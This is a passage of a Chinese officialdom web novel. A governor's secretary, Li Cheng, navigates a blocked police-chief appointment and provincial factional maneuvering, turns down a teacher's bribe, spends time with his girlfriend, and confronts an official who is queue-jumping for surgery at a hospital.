如果许梦签约了李美娇公司,大概率两个人走不到最后。 李美娇如果只是为了许梦的流量,想靠着许梦在《东江问政》的影响力开拓新板块,又怎会亲自见许梦呢? 别说许梦还没有给花海集团创造价值,就算是她能创造出百万,千万的价值,对于李美娇这种百亿集团的董事长来说,那点钱又算得了什么? 单纯为了许梦自身价值,李美娇不会亲自见她。 说到底,李美娇看重的,是许梦和李承的恋人关系。 也只有李承这位省政府‘二号首长’值得李美娇费心思。 “那好吧。” 许梦看出李承有些不高兴,微微点头不再继续这个话题。 但她并未打算放弃这一想法。 ..... 人事任命在常委会议上投票通过,但还需要公示期和省委省政府下文,再到办理交接工作,这些流程需要一定的时间。 公示期为五个工作日,是硬性要求。 这天上午。 李承刚从综合一处出来,路过电梯时,与刚出电梯的常务副省长徐铁生撞了一个碰面。 “徐常务副省长。”李承主动招呼。 作为孟省长的专职秘书,如论是当面还是背后,对于任何职位都要严肃称呼其职位。 尤其是针对几位副省长,必须带‘副’字。 如果去掉这个‘副’字,看似是恭维对方,实则是犯了忌讳,冒犯了正职大领导。 所以,李承无论在见任何领导,只要是副职,他都加上‘副’字。 作为孟省长的秘书,他也不担心加上‘副’字后,对方不爱听。 徐铁生作为常务副省长,在官场上的称呼里,又必须加上‘常务’二字,可以叫徐常务,但决不能叫徐副省长。 没有‘常务’二字,就等于矮化职位,更是大忌。 李承跟徐铁生并不熟悉,称呼为徐常务,虽简洁,却又不标准,他只能称呼对方为徐常务副省长,绕嘴,但不会有任何不妥。 “嗯,良德同志在办公室吧?”徐铁生问。 “孟省长在办公室。”李承回答道。 得到李承的回复,徐铁生迈步走向省长办公室。 进入秘书间,徐铁生也没有贸然进入,他很遵循流程,等待李承去请示。 李承敲了敲门,走进办公室,向孟良德说明情况:“省长,徐常务在门外要见您。” “让他进来吧。” 第148章 公示危机 徐铁生进入办公室。 李承给两个人沏好茶后,便退出了办公室。 徐铁生作为常务副省长,是省部级(副职)干部,两个人的谈话,跟其他干部汇报工作是不同的。 下属干部来汇报工作,李承通常要在场,记录工作内容,递材料等。 但同为省部级领导,内部班子的沟通,秘书就必须离场了,不然就是没规矩。 并且,在此期间李承不得入内。 除非是省长按呼叫铃,或是有特别紧急的情况汇报。 徐铁生与孟良德谈了二十分钟左右,才离开。 李承送走他后,进入办公室,去收拾他们谈话喝茶后的卫生。 在此过程,孟良德脸色十分阴沉。 李承不敢多问,默默地收拾茶具,送去清洗。 “通知宫庆鑫过来见我。”孟良德道。 “是。” 李承答应,退出办公室,用公务座机通知宫庆鑫。 半个小时后,宫庆鑫走进了秘书间。 “宫局,你来了。”李承起身跟他打招呼。 “李秘书,省长火急火燎叫我过来,是出什么事了吗?”宫庆鑫紧皱着眉头,表情十分严肃。 “不清楚,你进去吧。” 李承摇了摇头,对此,他是真不知道。 “嗯。” 在李承的带领下,两人进入办公室。 会谈下属,李承这次不需要离开,他坐在孟良德的侧边,听着两个人的谈话。 “孟省长,您找我有什么吩咐?”宫庆鑫小心翼翼地问。 直觉告诉他,有不好的事情要发生。 “刚才徐常务来,说你们城东分局局长王德才是黑势力的保护伞,纵容亲属欺压百姓,放高利贷逼人卖血。 他说你知情不管,说你这样的同志,个人品德还需要考量,甚至涉及到保护伞的行列里,不建议你继续胜任公安厅长这个要害职位。” 孟良德点燃一根香烟,惆怅地说道。 他将徐铁生二十分钟的抹黑,简短成两句话,讲述出来。 听到这个问题,宫庆鑫和李承同时皱紧眉头,李承严肃的目光投向了宫庆鑫。 王德才这个人,李承是有印象的。 当初就是他表弟恶意别李承的车,还堵截在电影院门口,勒索李承和许梦十万块钱。 没想到,这才短短数月,又在他身上出了问题。 孟良德口中那位,王德才的亲属,想来就是堵截李承的大汉。 寻衅滋事,敲诈勒索,哪一点深究下去不是重罪? 宫庆鑫当时还承诺李承会严肃处理,可对方这才短短几个月又出来惹是生非,这其中,难道就没有宫庆鑫的默许吗? 更可恨的是。 王德才现在成为了政敌阻止宫庆鑫升任公安厅厅长的利刃。 现在是公示环节,是最重要的步骤,容不得半点瑕疵。 出事必叫停! 这就给了政敌们操作的空间,就不是省委书记和省长一致决定就能继续任命的了。 他们也要考虑到影响问题。 徐铁生能找到孟良德,就证明这件事也会传到省委马洪波那里,无论是否查实,省委都会搁置任命,大概率公安厅长这个职位是要换人了。 对这次事件发生不满的同时,李承也再次深深感受到政治斗争的危险。 他以为,省委书记和省长已经在常委会议上敲定的事情,会板上钉钉地落实。 可没想到,却在这时出了茬子! “省长,我从来没有放纵过任何下属。”宫庆鑫急切的反驳。 他同样知道此事背后的严重性。 “我知道,不然也不会叫你过来。”孟良德沉声道。 “对于王德才同志的问题,我也曾多次提出过批评,也向省公安厅打过报告,但都被常厅长压了下来。” 宫庆鑫说。 闻听此言,孟良德表情又严肃了几分。 如此看来,这个王德才大概率是常百利的人。 眼下,对方是要牺牲王德才,来阻止对宫庆鑫的任职流程。 虽说,即使宫庆鑫无法升任公安厅长,常百利调去政法委一事也不会因此停止。 但只要换掉宫庆鑫,对于敌对派系就是好事。 孟良德是空降派,根基薄弱,能够信任的人不多,在省长派系里,有资格胜任公安厅长的人,只有宫庆鑫。 只要宫庆鑫不是公安厅长,最有机会得到晋升的,也是第一顺位的,那就是省公安厅常务副厅长。 如此一来,孟良德操纵的大局,就等同于给别人做了嫁衣。 敌对派系不仅依旧掌握着公安厅长一职,还拿到了一个政法委副书记职位,如果对方得逞,可谓是一场漂亮的翻身仗。 “你向公安厅的检举王德才,可有证明?”孟良德问。 “有,我写过报告。”宫庆鑫点头。 “李秘书,你陪同宫局回去取一趟报告,再约见一下洪波书记。”孟良德点燃一根香烟,吩咐道。 “好的省长。” 出了办公室,李承先给省委书记的秘书打去一个电话,约了一下时间。 随后,李承坐在宫庆鑫的车,两个人赶往了市公安局。 “宫局,王德才那个表弟出来了?”车上,李承语气平淡地问。 “没有,绝不可能。”宫庆鑫严肃回答。 上次,宫庆鑫亲自拿了十万块钱,递到了王德才表弟的手里,对方接了钱,敲诈勒索属于定实。 这件事,宫庆鑫亲自监督,对方被判了三年,不可能出狱。 “想来,是对方翻出以前的账,或者,王德才还包庇了其他人。”宫庆鑫听出李承言辞下的质问意思,解释道。 “哦,这样呀。” 对于这个回答,李承认可,他继续问:“花海集团,有没有人联系你?” 李美娇已经找到了许梦那里,大概率也会对宫庆鑫做公关。 “联系了,因为这件事,我现在都流浪街头,被撵出家门了,唉....” 提及此事,宫庆鑫长长地叹了一口气。 “怎么回事?”李承笑问。 “还能怎么回事,我夫人被请到了天湖庄园,回来就魔障了呗。”宫庆鑫无奈地说。 天湖庄园,那是花海集团的‘公关圣地’。 据说,没有一个官员进入天湖庄园不会为此着迷,看来,他们的公关不仅对男人有效,对女人拥有足够的杀伤力。 第149章 摆了一道 “宫局,你说实话,你去没去过天湖庄园?” 李承一脸好奇地问,话说完,他又觉得不妥,怕对方多想,连忙补充道:“我没别的意思,只是对天湖庄园太好奇了,想知道里面什么样。” 人都有好奇心。 李承是真想见识一下,到底是什么样的地方,能够让无数权贵为之沉沦。 李承甚至想试一试,以他的定力,能不能扛过天湖庄园的公关。 “这个我真没去过。”宫庆鑫摇了摇头:“我劝李秘书也不要尝试,怕你扛不住。” “哈哈哈,那么冷的冰水我都抗过来了,我还能扛不住诱惑?”李承自信满满地说。 在他看来,面对死亡他都未曾妥协,又怎会轻易屈服。 “不一样的,千万不要小看人性的贪婪,你未必能扛得住,我也未必。” 宫庆鑫淡淡地说:“不过我也佩服你,怪不得你能得到孟省长的信任,在死亡的面前,你都能守住底线,厉害。” “到那个时候,抗不住也不能屈服了。”李承感叹道。 那次沉江,对李承来说,是人生中最大的危险和恐惧。 同样,也是他的一次转机。 经历过那次后,李承明显感受到孟良德对他越发的信任。 很多细节就能感受得到,现在,孟良德偶尔会叫他进入迎宾馆的房间,跟他一起共进晚餐。 房间是孟良德的私人领域,能频繁地进出那里,足以证明孟良德的信任与重视。 在市公安局取来检举过王德才的证明,李承返回省政府。 下午。 李承拿着这份报告,与孟良德一同赶赴省委大院。 “良德同志,你也过来了。” 两个人到达马洪波的秘书办公室时,一个五十岁左右,略微秃顶的中年男人,端着一个水杯走了出来。 这人李承认识,他叫吕崇山,东江省的三号首长。 省委只有三位书记,象征着东江省的权力巅峰。 分别是首长省委书记马洪波,二号首长孟良德,省长兼任省委副书记,以及三号首长吕崇山,省委专职副书记。 “崇山同志,你也来向洪波书记汇报工作啊。”孟良德微笑说,这个笑容并不自然。 吕崇山出现在这里,在这个时间节点,孟良德意识到情况的严肃性。 “刚汇报完,洪波书记等你呢。” 吕崇山微微一笑,从孟良德的身边走过。 孟良德点了点头,走进了省委书记的办公室。 李承没有资格陪同进入,坐在秘书间的沙发上,等待着。 “李秘书,喝杯水吧。” 省委书记秘书郑小东给李承倒了一杯水,递给他。 “谢谢。”李承接过水杯,微笑道谢。 柳思瑶说,省委书记的秘书,是一个趾高气昂的人。 但这份趾高气昂也分对待什么人。 作为专职秘书,也要见人下菜碟。 对待下属,他可以高傲一些,但对待李承这位省长的专职秘书,他还是很懂分寸的。 虽说,论级别,李承低他一等。 但两个人都服务一把手,彼此之间的也要保持好印象。 “孟省长也是为宫局长的问题而来吧?”郑小东坐在李承的对面,笑眯眯地问他。 “是。” 李承点头,问:“郑处长,听您的意思,这一天有不少人为这件事拜访马书记呀?” 有些话,孟良德在里面不会问马洪波,马洪波也未必会主动谈。 这时,秘书与秘书之间的交涉,就能起到一定作用。 这不属于泄密,而是两位领导之间的一种代理人谈话方式。 “是呀,上午政法委的刘书记和公安厅的常厅长一同来过,刚才吕副书记也到了,都是为这件事。” 郑小东翘起二郎腿,双手放在膝盖上,状态很是放松。 “哦哦,看来大家都很关心公安厅长的候选人问题。” 在听到刘景军和常百利一同过来时,李承是有些诧异的。 在他看来,刘景军和孟良德的关系不错,这种敏感时刻,应该保持中立态度才对。 可他协同常百利一起去,还是为宫庆鑫的问题找到马洪波,这就有站队嫌疑了。 这不禁让李承揣测,刘景军是否为对方派系。 但李承回答时,却面不改色,全程带着标志性的微笑。 因为他发现,郑小东看似漫不经心地讲这件事,目光却全程盯着李承的表情。 “何止是关心,都很迫切嘛,哈哈哈。” 郑小东笑了两声:“不过,大家关注的点已经不是宫局长了,而是谁能胜任这个公安厅长,宫局长在公示期出现问题,查得明,查不明,任职都要停止的。” 这话就很明白了。 作为省委书记的秘书,他不可能乱说。 他说任职要停止,就证明,省委书记已经做出了决定。 “宫局长也是倒霉,马上省委就要任职下文了,这个时候出了茬子。”李承随口聊着。 “哈哈哈...” 对此,郑小东笑了笑,没继续再说。 宫庆鑫为何在这个时候出了问题,根本原因,大家都心知肚明。 马洪波和孟良德的谈话持续了四十分钟左右,孟良德才走出办公室。 离开省委大院,两人回到省政府。 ‘啪’ 在抵达办公室时,孟良德直接将手中那份宫庆鑫曾检举王德才的材料摔在了办公桌上。 这一动作,让李承都被吓了一跳。 孟良德是很少发火的。 看来,省委已经决定停止对宫庆鑫的任命,就算孟良德亲自去也没有改变这一状况。 “省长,是宫局长的任命被停了吗?” 李承没有第一时间询问,他等孟良德消了会气,喝了几口水后,这才开口。 “嗯,螳螂捕蝉,黄雀在后,他要的太多了。” 孟良德阴沉着脸,语气森冷地说出这番话。 孟良德虽未明确指出‘他’是谁,但李承很清楚,这个‘他’是马洪波。 “呵呵...现在想想,前两天说要重启对锦绣置业的调查,简直可笑。”孟良德自嘲一笑。 常委会结束,他认为公安厅长这个位置是稳妥拿下了。 他也推测过,走流程的期间可能会出现一些差错,但只要马洪波和他达成共识,就不会有问题。 结果是,马洪波借坡下驴,摆了他一道。 第150章 三大帮 “省长,这件事的背后,难道....” 李承没有继续说下去,孟良德也懂李承要表达的意思。 “不是。” 孟良德点燃一根香烟。 “但洪波书记应该早就做好了决定,陈秘书跟我说,宫局长的问题,查得明,查不明,停止任职都是板上钉钉。 而且,上午的时候,景军书记和常厅长一起去找过洪波书记。” 李承将从陈小东那里收集来的信息,汇报给了孟良德。 李承知道,这些信息是对方故意告诉自己的,尤其是透露刘景军去过的消息,可能还有马洪波的指使。 “哼,他这是让我没得选。” 孟良德深吸了一口烟,说:“这个公安厅长,大概率要从岭南省调任,省政府也要多个副省长了。” 听到这里,李承大概了解了全部过程。 马洪波真是好一招螳螂捕蝉,黄雀在后。 东江省的政治格局,李承用了半年的时间,才摸索了个大概。 最核心的派系,不是马洪波的省委帮,更不是孟良德的空降派。 而是以专职副书记吕崇山为首的本地派。 这其中包括省委组织部长麻松,纪委书记李岳明,常务副省长徐铁生,政法委书记刘景军,汉江市委书记刘建军,以及多个各地级市的市委市政府要员。 这些本地派系,并非都是吕崇山的人,其中也有部分人是中立,或倾向于省委书记。 但因为这些人普遍在东江省工作时间多年,有着捋不清的政治和利益交集,在某种程度上,或触碰到某种事件上,会抱团。 所以,统称为本地派。 而马洪波,其实也算是空降派,他比孟良德早调任东江省一年多。 但在孟良德任职东江省省长之前,他的政治权力属于架空阶段。 原省长李雪忠一直与马洪波对着干,二把手和一把手的交锋,二把手又有本地派支持,掌握常委票举权,马洪波刚调任东江省时,可谓是举步维艰。 他一直在养精蓄锐,卧薪尝胆,在拉拢人心,在谋划。 最终,才在他雷霆般的政治手腕下,将李雪忠搞下了台。 李雪忠被抓,孟良德空降。 同为空降派,孟良德一定是倾向于省委书记一边的,所以,在此之间马洪波得到了喘息和反击的机会。 他在渐渐地去掌握大权。 孟良德就是抓住了马洪波想要迅速掌握大权的心里,才以容城市委书记做筹码,以此得到马洪波的支持,拿下公安厅长一职。 可他没想到,马洪波的政治野心这么大。 原本谈好的条件,却在本地派反击,破坏宫庆鑫升任时,让马洪波看到了另一个机会。 宫庆鑫在这个时间节点出现问题,本身就不具备继续任职的资格,尽管没有调查清楚,按流程也要叫停公示。 若是省委书记和省长强行通过,本地派系不会同意,很容易被诟病,马洪波以此为借口,理所当然,孟良德也不能说什么。 否则,就是违反了程序。 马洪波是笃定孟良德除宫庆鑫之外,在东江省无人可用,才提议从岭南省空降一位公安厅长。 马洪波曾经就是岭南省的省长,那里有他自己的人。 而孟良德也必然答应,并且别无他法。 如果孟良德不同意,最终的结果就是现任公安常务副厅长升任公安厅长,又给本地派增添一员,对孟良德更加不利。 至少,空降来的厅长,是跟马洪波一个派系的,在某种程度上,只要得到马洪波的支持,就可以继续展开工作进展,不会有太大阻碍。 而马洪波也乐意看孟良德跟本地派斗法,他自己坐收渔利,所以,他会给孟良德提供便利条件。 至于孟良德,他并没有从其他省调任公安厅的能力。 从职权上讲,马洪波也没有。 空降一位公安厅长,需要公安部先提名,再由中组部统筹,最后才是省委拍板。 但马洪波有关系,孟良德没有。 这就属于是阳谋了。 孟良德明知道马洪波摆了他一道,却只能配合马洪波。 ..... 不出预料。 宫庆鑫的问题也拖延,被扩大,最后终止了任命提拔。 公安厅长,暂由常务副厅长梁骏义代管。 空降一位公安厅长过来,还需要一定的时间。 这期间,省委常委的会议上,吕崇山等本地派多次提议由梁骏义同志顺位升任公安厅厅长,但都遭到了马洪波的反对。 马洪波和孟良德只要站在同一战线上,就可以拿到过半的常委票权,任由吕崇山如何举荐,也无济于事。 ‘我的爱如潮水,爱如潮水将我向你推...’ 这天下班路上,李承接到了费老厂长的电话。 “喂,费叔。” “李秘书你好,我是费玉春的儿媳妇,请问您有时间吗?方便来家里一趟吗?” 电话那边传来费家儿媳,刘彩洁的声音。 “发生什么事情了吗?”李承追问。 “还是关于教师整顿的问题,想请你过来帮帮忙,你在哪,我让我老公去接你。” 刘彩洁并未说明原因,只是含糊说了一个大概。 “不用,我自己过去吧。” 李承正在有空闲时间,他以为是费筱筱学校那边又出了什么事,自然要去看看。 这是给费老厂长的面子,也是看在费筱筱这个孩子乖巧懂事的份上。 许梦的车,现在是李承在开。 最开始李承是拒绝的,但架不住许梦的一再坚持。 许梦的宿舍距离单位并不远,车给李承开,方便李承上下班,以及接许梦回家。 每天,李承都会开车到迎宾馆,寄存在停车场,坐省长专车上班。 等下班后,在开着车回家。 开着车,李承来到了费家。 在即将到达费家门口时,李承看到了散步中的费老厂长。 他降下车窗,喊道:“费叔。” 费玉春扭过头,看到是李承后,原本阴沉的脸上浮现出笑容,他疑惑地问:“小李呀,你怎么来了?” “是你儿媳妇拿你电话叫我来的呀。”李承也疑惑了。 他被刘彩洁叫过来的事情,费玉春竟然不知情..... 第151章 典型 “这个败家孩子!” 费玉春摸了摸自己的口袋,发现手机没在身上,愤慨地说。 刘彩洁都四十多岁的人,被说成孩子,李承有点觉得好笑。 可在费玉春面前,刘彩洁就是孩子。 “小李,你回去吧,这边的事情你不用管,我回去教训她。”费玉春说着,就要往家赶。 “费叔,到底怎么回事呀?”李承拉开车门,下了车。 “这不省里整顿教育风气,筱筱的班主任被抓了典型,她知道我家跟你有关系,就上门找我们求情。 这种人,大难临头了才知道悔改,根本不值得可怜,我拒绝了。 可他们班主任说能好好带筱筱,现在高三学习吃紧,还说愿意单独辅导筱筱学习,保证筱筱数学成绩能过一百三。 筱筱这孩子本来就偏科,数学功底差,她妈妈就心动了,让我找你。 我实在气不过,就出来散心,谁曾想她们竟然拿我电话联系你。” 费玉春将他家里现在的情况告诉给了李承。 李承听完,点了点头:“费叔,你上车,我跟你一起去。” “小李,这件事你不要管了,这种恶俗风气必须扼杀!”费玉春严肃地道。 “我知道,但我不出面,她们不会善罢甘休的,得一直在你耳边磨。”李承说。 “嗯....你去跟她们说清楚也好。” 费玉春思索片刻,拉开车门坐上副驾驶。 汽车开到费家门口停下。 两人刚进院,刘彩洁,班主任等人就迎了出来。 “李秘....” 刘彩洁本来是热情地想跟李承打招呼,可看到费玉春也走了进来,脸色还十分难看时,她的招呼顿住了。 “李秘书,您好。” 站在刘彩洁身后的班主任饶过她,小跑来到李承的面前,语气激动,主动伸出双手。 “你好。” 李承礼貌性地跟她握了下手。 “走,咱们进屋走下来聊吧。”刘彩洁尴尬地说。 “嗯。” 李承点了点头,迈步径直走进屋内。 进了屋,先是刘彩洁打头阵,替班主任开脱:“李秘书,其实刘老师她本质还是不错的,对学生的学习也是尽职尽责。 收礼嘛是常态,而且家长们也都是自愿的。 咱们一中的刘老师是省里宝贵的教育资源,您能不能给教育局的局长说说,就别拿她当典型了。 这么好的老师,要是因为这点事被埋没了,太可惜了,您说是不是?” 刘彩洁凭借她三寸不烂之舌,奋力地替班主任解释。 李承也是佩服她的变脸能力。 当初李承帮助费筱筱解决好被针对的问题时,刘彩洁在饭桌上那是给班主任埋汰的体无完肤。 好像两个人是不共戴天的仇人。 现在,班主任有了足够的利用价值,她又换了一副嘴脸。 “李秘书,我保证以后会坚持遵守教师纪律,对待所有学生一视同仁,还请您给我一次机会。” 班主任也信誓旦旦地保证,态度极其诚恳。 可李承至今还记得,他第一次去一中时,刘老师对他的那副丑恶嘴脸。 “现在知道悔改太晚了吧,要我说,你们品德就是败坏,要不是省里整顿,你不一定知道改。” 听完班主任的保证,没等李承开口,费玉春气不打一处来,但他说的也都是大实话。 “爸,这时候你就别说了。”费玉春的儿子给他使了个眼色,劝道。 “你也是个窝囊废,啥都听你媳妇儿的。”费玉春在气头上,对自己儿子也不客气。 “筱筱,你说,你想不想换班主任呀?” 刘彩洁知道,他们的劝未必有用,开始鼓动孩子。 面对这个问题,费筱筱摇了摇头。 “那你劝劝你李叔叔。”刘彩洁说。 “叔叔,刘老师现在对我挺好的。”费筱筱听话,帮班主任开脱。 说到底,她只是一个孩子,没有经历过社会。 她只知道,这一段时间班主任对她很上心,很不错,她一个小姑娘也就会心软,认为班主任是对她好。 可她不知道,这份好,来自李承的职位震慑。 “抓她做典型,不是教育局的意思,这是孟省长亲自下令的。”李承冷冰冰地回答道。 任何人的面子,他都不会给。 他也给不了。 “啊?” 听到是孟省长的命令,班主任身体晃了晃,她知道自己最后一线希望也断了。 “你是孟省长的秘书,这点小事,你跟孟省长通通气呗。”刘彩洁谄媚地笑着。 “小李是孟省长的秘书,不是孟省长是小李的秘书,你当省政府是你家开的呀,你想通气就通气。 人家李秘书话已经说得很明白了,你咋就不懂呢!” 听完刘彩洁的话,费玉春忍不住地呵斥起来。 他这么一骂,刘彩洁也闭了嘴。 “这件事没有商量,至少我是帮不到,要不你们就看看省委有没有关系吧,省委书记开口,孟省长会给面子。”李承道。 这话,跟判了‘死刑’没什么区别。 班主任要是有省委书记的关系,也不会求到这里。 “李秘书,就真没有别的办法了吗?我愿意花钱,五十万,行不行?”班主任绝望之际,选择了一种最愚蠢的方式。 “呵呵,看来你这些年没少收红包呀,随便一开口就是五十万。” 李承冷哼一声,摆了摆手:“我还有其他事情,就先走了。” “李秘书,您在这吃完饭再走呗。”刘彩洁见状,挽留道。 “不吃了。” 李承说完,跟费玉春夫妇打了个招呼后,便离开了这里。 他必须要出面说明白,这样班主任才会善罢甘休,不会再来费家纠缠。 【晚上来接我回家呗。】 坐在车上,李承看了一眼手机,上面有许梦发来的消息。 【想我了?】李承问。 【嗯,想。】许梦回复。 【有多想呀?】李承发了一个顽皮的表情过去。 【我好像排卵期了,不仅想你的人,还想要....】许梦回了一个羞涩的表情。 【想要什么?】李承装傻问,心跳却微微加快。 【讨厌死了。】 【当然是想跟你做...】 第152章 出事 房间内。 李承粗重的喘息,和许梦动人的吟叫持续了很多。 直到一段连绵不断的力竭声后,房间才恢复平静。 “宝宝,我们越来越契合了,我也越来越离不开你,身体和心里都离不开....” 许梦趴在李承的身上,享受着狂欢后的余温。 “那我们一辈子都不分开,好吗?”李承抚摸着许梦的秀发,说。 “好。”许梦吻了李承一下。 休息了一会儿,许梦说:“宝宝,关于做自媒体的事情,我想清楚了。” “嗯,怎么想的?”李承问。 “我想做,这样能让我们的生活更好。”许梦温柔地说。 “嗯。” 闻言,李承微微点头,并没有其他表态。 他的本意并不想让许梦跟花海集团牵扯在一起,可许梦做了自己的决定,李承不好干涉。 “不过不是跟李美娇合作,我要自己做属于我的账号。”许梦笑容更加灿烂,其中还带着调皮。 她知道,李承不想让她跟花海集团有过多的交集。 她想明白了,李美娇接触她,目的可能还是为了牵制李承。 她不想给李承造成麻烦,所以,她选择拒绝百万年薪的诱惑。 但许梦是媒体人,她很清楚自媒体当下的前景,她想抓住这个机会。 所以,在她做出了一个决定。 那就是打造自己的个人账号,利用自己在节目中的流量,给自己的账号引流。 “这是个好想法呀,自己做老板不会被限制。”李承听到许梦的想法,表示了充分的认可。 只要不跟李美娇沾边,许梦的任何创业想法,他都支持。 哪怕许梦要辞职,专心做自媒体,他也不会阻拦。 “我不想给你添麻烦。” 许梦看着李承,表情格外温柔。 “嗯...能遇到你是我的福分。”这是李承的真心话。 因为家人的受贿,最终走向了不归路的官员,比比皆是。 那些人想要腐败官员,手段无所不用其极。 不仅官员要自己守住底线,家人同样守住底线,否则,到最后就会面临两个下场。 要么,大义灭亲,把亲人受贿的事实检举出去,这是要量刑的。 要么,为了保护家人,被迫踏上了腐败的道路。 无论哪一个,都是悲惨的结局。 所以,李承在选择妻子时,必须要保持理智,踏上了这条仕途道路,择偶就不单单要考虑爱与不爱。 深爱的人,守不住底线,会被金钱所打动,也不能迎娶。 所以,这也是为何李承会认为,如果许梦跟李美娇合作,两个人走不到最后的原因。 “你想做什么类型的博主呀?”李承好奇地问。 “在录制节目的幕后,就有很多趣事,比如说错词,笑场等,我想把自己的视频号,做成我节目的彩蛋形式,这样我想会有流量的。” 许梦侃侃而谈,说出了自己的想法。 “很好的想法,不错,我选的女人就是聪明。”李承用手指刮了一下许梦的鼻子,说。 “听起来你好像是在夸你自己呀,哈哈哈...” ..... 这天下午。 ‘嗡嗡嗡...’ 李承陪同孟良德,在进出口集团视察工作,口袋里的手机震动了起来。 工作时间,李承手机不离身,他都会调成震动模式。 这样既不会耽误重要来电,也不会因为铃声打扰到省长。 李承拿起电话,看了一眼,是父亲李广义打来的,现在陪同省长,李承不方便接听家里电话,便挂断了。 ‘嗡..’ 挂断后,李承又收到了李广义的微信。 李承抬起头,见孟良德正在专心听进出口集团的总经理介绍情况,便快速拿起手机,看了一眼消息。 消息很简短,只有短短一行字:【儿子,你大姑脑出血,我们在汉江医大一院,你有时间快过来。】 【好。】 李承快速回复后,收起手机。 大姑从小对李承就很好,也是这个家里的主心骨。 她住院,还是脑出血,李承心里十分担忧。 尤其是,她们现在来了汉江市就医,这就证明病情很严重,不然,以李承对他们的了解,会选择在封兰治疗。 李承心里焦急,却不能贸然请假离开。 作为专职秘书,李承要记录省长的重要讲话和工作指示,以及进出口集团的工作介绍。 这些记录工作,看似是小事,可对于辅佐日理万机的省长来说,尤为重要。 视察完进出口集团,回到省政府已经是下班时间。 “老板,我大姑脑出血住院了,就在汉江,我想请个假先过去。”李承将孟良德送上专车,说。 虽然是下班,但按照惯例,李承还要将孟良德送回迎宾馆。 “嗯,这是大事,你上车,让王师傅先送你。”孟良德道。 “没关系,我自己打个车去就行。”李承婉拒道。 “上车吧。”孟良德再次坚持。 “谢谢老板。” 这是省长体贴下属,也是重视李承这位秘书的表现,孟良德一再坚持,李承也不能拒绝,上了车。 王师傅给李承送到汉江医大一院。 跟孟良德和王师傅告别后,李承拨通了李广义的电话,并快步走向医院。 “喂,儿子。”电话接通,李广义焦急的声音传出。 “爸,我到医大一了,你们在哪?”李承问。 “我们在急诊五楼,你快过来,在我电梯口等你。” “好。” 李承撂下电话,马不停蹄地小跑到急诊五楼。 刚下电梯,李承就看到满脸焦急,紧张的李广义。 “我大姑手术怎么样了?”李承关切地问。 “还没进手术室。” 李广义边拉着李承走,边说。 “怎么还没手术,是身体条件不允许吗?” 李承对手术并不了解,从李广义给李承打第一通电话,到现在也过去一个半小时了。 他推测,到现在没手术的原因,应该是大姑的身体达不到手术标准。 “还在排队,大夫说马上了。”李广义叹了口气,道。 医大一院是全省最好的医院,尤其是神经外科的几位专家,全国闻名。 有足够的名气,这也导致神经外科的患者格外多,手术需要排队进行,是常态。 第153章 插队 跟随父亲走过一个长廊,李承看到了大姑。 没有病房,此时的她就躺在医院走廊的病床上,整个人已经陷入昏迷。 几个亲戚围在她身边,有的抹着眼泪,有的急到团团转。 “李承,你来了。” 姐夫李承见到李承,小跑过来,焦急地说:“医院还没给安排手术,你看能不能跟医院打听下什么情况。 原本封兰那边医院跟这边打过招呼,说到了就能手术,结果到了之后,医院说一个小时之内就能安排,可这都快两个小时了,眼瞅着就要过黄金抢救期了。” “嗯,我联系一下。” 黄金抢救期就那么几个小时,他们转院到这里,又等了一个多小时,已经浪费了很多时间,耽搁不得。 从转院开始,封兰医院为了不耽搁抢救,就联系了医大一,可拖到现在还没有结果。 李承推断,这件事的本身,一定有医院方面的不妥当处置。 “凭什么他们先手术,我们都排这么久的队了,马上我妈就要错过黄金抢救期了,你们这是草芥人命!” 正当李承翻找医大一院长的电话时,走廊的另一头,传来了女人惊呼声嘶力竭的咆哮:“我妈手术不上,你们谁也别想手术! 别碰我,都给我滚!” 李承听到这个声音,眉头紧皱起来,这是表姐杨丹的声音。 李承和姐夫孙磊相视一眼,连忙寻声跑了过去。 手术楼和急诊楼是相连的,中间只有一条长廊,虽为两栋楼,但她的咆哮却能通过长廊传到这边。 “你是什么东西,耽搁我爸手术,我弄死你信不信啊!” “你麻痹的,给我滚!” “你个贱人!滚开!” 此时,表姐杨丹就挡在手术室门口,手紧紧抓着门,不让面前的病床推进去。 患者的家属,有的人对杨丹怒声呵斥,其中还有一个男人,正抓住杨丹的头发,将他往外拖拽。 见杨丹死活不肯松手,还用拳头朝着杨丹的肚子打。 而对于这场闹剧,旁边的医生们,除了冷眼旁观外,就是驱离其他看热闹的人。 “你们干什么呢,住手!”李承见到面前的情况,厉声呵斥。 同时,他和孙磊也跑到了杨丹面前。 李承一把抓住男人的手,制止了他殴打杨丹的行为。 “你他吗的哪根葱,知道老子是谁吗?” 男人被李承拽住,并没有罢手的意思,抬手还想打李承。 本来李承为了自己的身份形象,想通过法律途径解决对方殴打杨丹这件事,可对方还要动手,李承也是个暴脾气。 没等对方出手,他抬起手,狠狠一拳打在对方脸上,紧接着又是一脚踹在他的腹部,将他踹翻在地上。 李承敢动手,不仅是冲动,他也有分寸。 全程监控记录,整个过程是对方殴打表姐在先,李承制止,对方还要动手,这时李承的还击属于典型的正当防卫,完全不需要付任何法律责任。 但对方被踹翻在地上,没有再动手的征兆,这时李承也不能再乘胜追击了,否则就判定为防卫过当。 公安方面有关系,打了也能运作,但李承不能那么做。 现在政敌都在暗中找他的问题,不能让其余人抓到任何把柄。 “都住手。” 这时,保安队也闻讯而来,控制场面。 “姐,怎么回事呀?”李承看向杨丹,问。 在李承是印象里,杨丹一直是乖巧懂事的女孩,如果不是什么事情触碰到了她的敏感神经和底线,她不会这般愤怒。 她更不是那种为了让自己母亲先治病,就耍无赖的人。 “他们要插队。” 杨丹指着这群人,愤怒地说。 “你少他妈的放屁!” 听到这话,动手男人厉声怒斥。 “我亲耳听到刚才你和那个院长的聊天,就是你联合医院插队,我知道,你应该是个官,那个院长都喊你主任。 但你们也不能这样草芥人命呀,我们老百姓的命就不是命吗? 我妈马上就过黄金抢救期了,你们就不能给我妈留条活路吗?” 杨丹说着说着,眼泪啪嗒啪嗒地掉了下来。 刚才被殴打她都没有哭,可想到母亲的病情,以及受到的委屈,她控制不住,声音哽咽。 也正是因为听到了谈话,杨丹才尾随到了手术室门口,进行了堵截。 李承很了解杨丹的为人,她不可能说谎。 再结合医院迟迟不给大姑安排手术,他可以断定,这就是一场职务插队。 “一派胡言,我们早就约好了手术,你知道个屁!”男人揉着脸,怒声反驳。 “你约好什么了,你电话里怎么说的,我都听得清清楚楚。”杨丹怒斥。 “怎么回事?” 就在这时,一个身穿白大褂的中年男人皱着眉头走了过来,询问情况。 “弟,就是这个院长!” 这时,杨丹看到这个男人,指着对方,说。 李承点了点头,看向院长的目光透露着冷漠。 